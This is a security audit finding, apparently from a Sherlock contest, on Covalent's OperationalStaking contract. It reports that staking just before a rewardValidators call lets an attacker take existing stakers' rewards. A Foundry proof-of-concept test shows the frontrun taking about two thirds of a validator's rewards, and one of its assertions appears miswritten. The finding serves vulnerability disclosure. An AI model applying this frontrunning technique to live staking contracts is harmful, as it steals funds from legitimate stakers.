Custom Denim Gibbon

high

# Frontrunning: Staking to a `Validator` immediately prior to call to `rewardValidators` allows an attacker to siphon rewards.

## Summary

Attackers may siphon [`Validator`](https://github.com/sherlock-audit/2023-11-covalent/blob/218d4a583286fa0d3d4263151a927f6cc9465b62/cqt-staking/contracts/OperationalStaking.sol#L40) rewards by frontrunning calls to [`rewardValidators(uint128,uint128[],uint128[])`](https://github.com/sherlock-audit/2023-11-covalent/blob/218d4a583286fa0d3d4263151a927f6cc9465b62/cqt-staking/contracts/OperationalStaking.sol#L262C14-L262C101) .

## Vulnerability Detail

An attacker watching the mempool may anticipate the pending distribution of rewards to [`Validator`](https://github.com/sherlock-audit/2023-11-covalent/blob/218d4a583286fa0d3d4263151a927f6cc9465b62/cqt-staking/contracts/OperationalStaking.sol#L40)s and frontrun the transaction in an effort to take a share of staking rewards intended for the rightful existing stakers.

In the simple demonstration below, we show that an attacker `_BOB` may steal ~66% of [`Validator`](https://github.com/sherlock-audit/2023-11-covalent/blob/218d4a583286fa0d3d4263151a927f6cc9465b62/cqt-staking/contracts/OperationalStaking.sol#L40) `_ALICE`'s rewards by frontrunning an incoming call to [`rewardValidators(uint128,uint128[],uint128[])`](https://github.com/sherlock-audit/2023-11-covalent/blob/218d4a583286fa0d3d4263151a927f6cc9465b62/cqt-staking/contracts/OperationalStaking.sol#L262C14-L262C101):

```solidity
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {OperationalStaking} from "../src/OperationalStaking.sol";
import {CovalentQueryTokenFaucet} from '../src/CovalentQueryTokenFaucet.sol';

contract CovalentTest is Test {

  address private constant _ALICE = address(0x420);
  address private constant _BOB = address(0x69);

  /**
   * @notice Prepares a default deployment inspired by production
   * configuration and the contents of `fixtures.js::deployStakingWithDefaultParams`.
   * @dev The deployer of the contract is the current contract instance.
   */
  function _prepareDeployment() internal returns (CovalentQueryTokenFaucet cqt, OperationalStaking os) {

    /// @dev https://etherscan.io/token/0xd417144312dbf50465b1c641d016962017ef6240#readContract
    cqt = new CovalentQueryTokenFaucet("Covalent Query Token", "CQT", 1000000000000000000000000000);
    os = new OperationalStaking();

    /* config */
    uint128 dCoolDown = 5;
    uint128 vCoolDown = 10;
    uint128 maxCapM = 2;
    uint128 vMaxStake = uint128(350_000 * 10 ** cqt.decimals());

    os.initialize(address(cqt), dCoolDown, vCoolDown, maxCapM, vMaxStake);
    os.setStakingManagerAddress(address(this));

  }

  function testFrontrunRewards() public {

    // Initialize a default deployment.
    (CovalentQueryTokenFaucet cqt, OperationalStaking os) = _prepareDeployment();

    // Apply the default `commisionRate`. 
    uint128 commisionRate = uint128(10 ** (cqt.decimals() - 1) /* oneToken.div(10) */);

    // First, let's register `_ALICE` as a `Validator`:
    uint256 validatorId = os.addValidator(_ALICE, commisionRate);

    // Determine how much stake is needed.
    uint128 validatorEnableMinStake = os.validatorEnableMinStake();

    // Mint `_ALICE` what's needed.
    cqt.transfer(_ALICE, validatorEnableMinStake);

    // `_ALICE` configures their stake. 
    vm.startPrank(_ALICE);
      // Approve funds.
      cqt.approve(address(os), type(uint256).max);
      // Initialize staking.
      os.stake(uint128(validatorId), validatorEnableMinStake);
    vm.stopPrank();

    // Let's enable the new `Validator`.
    os.enableValidator(uint128(validatorId));

    // Imagine the `Validator` accrues some amount. Here we'll
    // just use the `validatorEnableMinStake`, since this is
    // a contextually-relevant magnitude to operate in.
    uint128 rewardTokenAmount = validatorEnableMinStake;

    // Deposit some reward tokens.
    cqt.approve(address(os), rewardTokenAmount);
    os.depositRewardTokens(rewardTokenAmount);

    // Let's allocate the reward tokens to `_ALICE`, as our
    // only `Validator`:
    uint128[] memory ids = new uint128[](1);
    ids[0] = uint128(validatorId) /* `_ALICE` */;

    uint128[] memory amounts = new uint128[](1);
    amounts[0] = rewardTokenAmount;

    // Define whether we should front run the rewards process.
    bool _SHOULD_FRONT_RUN = true;

    // If we plan to front run the rewards process, let's enter
    // as Bob.
    if (_SHOULD_FRONT_RUN) {

      // Bob will delegate the maximum amount to `_ALICE`'s `Validator`.
      uint128 amountToDelegate = 70000000000000000000000 /* empirical_max_cap */;

      // Prepare these tokens for `_BOB`.
      cqt.transfer(_BOB, amountToDelegate);

      vm.startPrank(_BOB);
        cqt.approve(address(os), type(uint256).max);
        os.stake(uint128(validatorId), amountToDelegate);
      vm.stopPrank();

    }

    // Reward the `Validators`.
    os.rewardValidators(0, ids, amounts);

    // Assert `_ALICE` and `_BOB` do not have tokens prior to redemption.
    assertEq(cqt.balanceOf(_ALICE), 0);
    assertEq(cqt.balanceOf(_BOB), 0);

    //// Redeem the rewards.
    vm.prank(_ALICE);
      os.redeemAllRewards(uint128(validatorId), address(_ALICE));

    assertEq(
      cqt.balanceOf(_ALICE),
      /// @notice When `_BOB` front runs `_ALICE`, they siphon
      /// two thirds of their rightful rewards.
      _SHOULD_FRONT_RUN
        ? 10_500_000_000_000_000_000_000
        : 31_500_000_000_000_000_000_000
    );

    /// @dev Assert the front run was profitable.
    if (_SHOULD_FRONT_RUN) {
      vm.prank(_BOB);
      os.redeemAllRewards(uint128(validatorId), address(_BOB));
      assertEq(cqt.balanceOf(_BOB, 21_000_000_000_000_000_000_000));
    }
    
  }

}

```

## Impact

I consider this issue to be high severity, as it results in loss of funds and can be broadly applied at the expense of little initial attack setup complexity.

This poses considerable risk to the fundamentals of the staking incentive mechanism.

## Code Snippet

```solidity
/*
 * Reward emission
 */
function rewardValidators(uint128 rewardId, uint128[] calldata ids, uint128[] calldata amounts) external onlyStakingManager whenNotPaused {
    require(ids.length == amounts.length, "Given ids and amounts arrays must be of the same length");
    uint128 newRewardPool = rewardPool;
    uint128 amount;
    uint128 validatorId;
    uint128 commissionPaid;

    for (uint256 j = 0; j < ids.length; j++) {
        amount = amounts[j];
        validatorId = ids[j];

        // make sure there are enough tokens in the reward pool
        if (newRewardPool < amount) {
            emit RewardFailedDueLowPool(validatorId, amount);
            continue;
        }

        Validator storage v = _validators[validatorId];

        if (v.frozen) {
            emit RewardFailedDueValidatorFrozen(validatorId, amount);
            continue;
        }

        if (v.disabledAtBlock != 0) {
            // validator became disabled (due to e.g. unstaking past base stake)
            // between proof submission and finalization
            emit RewardFailedDueValidatorDisabled(validatorId, amount);
            continue;
        }

        if (v.totalShares == 0) {
            // mathematically undefined -- no exchangeRate can turn zero into nonzero
            // (this condition is only possible in testing with minValidatorEnableStake == 0;
            //  in prod, validators with zero stake will always be disabled and so will trigger
            //  the above check, not this one)
            emit RewardFailedDueZeroStake(validatorId, amount);
            continue;
        }

        commissionPaid = uint128((uint256(amount) * uint256(v.commissionRate)) / DIVIDER);

        // distribute the tokens by increasing the exchange rate
        // div by zero impossible due to check above
        // (and in fact, presuming minValidatorEnableStake >= DIVIDER, v.totalShares will
        //  always be >= DIVIDER while validator is enabled)
        v.exchangeRate += uint128((uint256(amount - commissionPaid) * uint256(DIVIDER)) / v.totalShares);

        // commission is not compounded
        // commisison is distributed under the validator instance
        v.commissionAvailableToRedeem += commissionPaid;

        newRewardPool -= amount;
    }

    rewardPool = newRewardPool; // can never access these tokens anymore, reserved for validator rewards
    emit RewardsDisbursed(rewardId);
}
```

## Tool used

Vim, Foundry

## Recommendation

Ensure that staking reward emissions are distributed in proportion to the duration stakers were active during the reward period.
